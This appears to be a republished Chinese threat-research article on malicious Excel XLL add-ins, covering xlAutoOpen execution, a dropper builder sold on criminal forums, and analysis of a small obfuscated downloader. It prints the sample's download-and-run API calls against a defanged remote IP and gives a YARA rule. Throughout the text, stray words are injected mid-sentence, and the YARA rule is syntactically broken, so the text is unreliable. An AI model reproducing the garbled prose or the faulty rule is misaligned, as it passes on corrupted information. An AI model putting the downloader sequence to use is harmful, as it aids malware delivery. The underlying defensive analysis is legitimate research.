攻击者开始使用 XLL 文件进行攻击

发布时间：2025-11-05 14:48:57 来源：云智核 作者：应用开发

近期，攻击攻击研究人员发现使用恶意 Microsoft Excel 加载项(XLL)文件发起攻击的始使行动有所增加，这项技术的文件 MITRE ATT&CK 技术项编号为 T1137.006。

这些加载项都是进行为了使用户能够利用高性能函数，为 Excel 工作表提供 API 调用接口。攻击攻击与 VBA 等其他接口相比，始使该方式能够更有效地扩展 Excel 的文件能力，使其支持更多功能，进行例如多线程。攻击攻击现在，始使攻击者也滥用这项技术来达成自己的文件恶意目标。

攻击者将带有恶意 XLL 附件或者恶意链接的进行电子邮件发送给用户，受害者点击附件打开 Microsoft Excel 后会提示其安装并激活加载项。攻击攻击

提示信息

攻击者通常将代码置于 xlAutoOpen函数中，始使该函数会在加载项被激活时立即触发执行。文件这意味着，与要求用户启用宏的 VBA 宏不同，受害者只要打开就会执行恶意代码。

由于 XLL 是可移植的可执行文件，许多电子邮件网关都会拦截该格式的文件或者仅允许受信任签名的加载项。

因为 XLL 恶意文件的快速增长，我们在地下犯罪论坛上进行了相应的服务器托管调查，评估使用这种文件格式的恶意工具和服务的流行程度。

在读个地下犯罪论坛中，反复看到来自同一个攻击者的广告，正在销售一个可以创建 XLL Dropper 的构建工具。

地下论坛销售广告

用户指定一个可执行文件或下载诱饵文件的链接地址，生成 XLL 文件。

构建工具截图

发现的 XLL 文件大部分都有相同的结构，本质上说，XLL 文件是包含 xlAutoOpen导出函数的 DLL 文件。这些 XLL 文件应该是使用 Excel-DNA工具生成的，包含多个大型的资源。

文件资源段结构

其中包含 Excel-DNA 项目组件以及加载项，可以通过查看资源名或者同样存储在资源中的 XML 定义文件来识别包含 Excel 加载项的 XLL 文件。

XML 文件

包含恶意代码的加载项是使用 .NET 开发的，位于 MODDNA资源中。服务器租用要分析该恶意代码，需要将资源保存到硬盘并使用 LZMA 算法进行解压缩。对 .NET 文件进行反编译后，可见 XLL 加载项的启动函数，该加载项为恶意软件 Downloader。

.NET 文件代码

使用 Excel-DNA 项目创建的 XLL 文件也可以使用项目提供的脚本自动解压缩，该脚本将 XLL 文件的路径作为参数，然后提取、解压缩并将资源保存到文件夹中。

提取 XLL 文件

其他不使用 Excel-DNA 的 XLL 文件中，一个 Downloader 大小只有 4.5 KB，但吸引了研究人员的注意。与其他 XLL 文件一样，该文件也具有导出函数 xlAutoOpen。为了混淆程序控制流，样本中包含许多连续的 jmp指令。

动态调试截图

经过分析后，研究人员发现可执行代码后有一段加密数据。数据在循环中解密，首先确定数据的位置与大小，紧接着进行异或解密。每处理八个字节，密钥就要对用改变。

解密代码

一旦数据被解密，b2b供应网样本可以提取三个 DLL 文件名、五个 API 函数名、Payload 的 URL 以及存储 Payload 的本地文件路径。样本首先通过进程环境块(PEB)遍历 InLoadOrderModuleList正确解析所需 DLL 的基址，然后再找到希望调用的 API 函数地址。

解析加载模块

然后，恶意软件使用解析后的 API 函数下载 Payload 并将其存储执行。在此样本中，API 调用如下所示：

复制GetProcAddress(“ExpandEnvironmentStringsW”)

ExpandEnvironmentStringsW(“”%APPDATA%\joludn.exe””)

LoadLibraryW(“UrlMon”)

GetProcAddress(“URLToDownloadFile”)

URLToDownloadFile(“hxxp://141.95.107[.]91/cgi/dl/8521000125423.exe”, “C:\Users\REDACTED\AppData\Roaming\joludn.exe”)

检测 XLL 恶意文件的 Yara 规则为：

复制rule xll_custom_builder

{

meta:

description = "XLL Custom Builder"

author = "patrick.schlapfer@hp.com"

date = "2022-01-07"

strings:

str2 = "test"

op2 = { 4D 31 0E }

op4 = { 49 39 C6 }

condition:

uint16(0) == 0x5A4D and all of (op*) and filesize < 10KB

Microsoft Excel 提供了许多合法执行代码的方式，如 Excel 4.0 宏、DDE 和 VBA，这些都已经被攻击者滥用。近期，研究人员发现，Dridex、Agent Tesla、Raccoon Stealer 和 Formbook 等恶意软件家族也开始利用 XLL 文件进行传播。利用 XLL 文件攻击的数量增长，表明攻击者对这种技术很感兴趣。

相关文章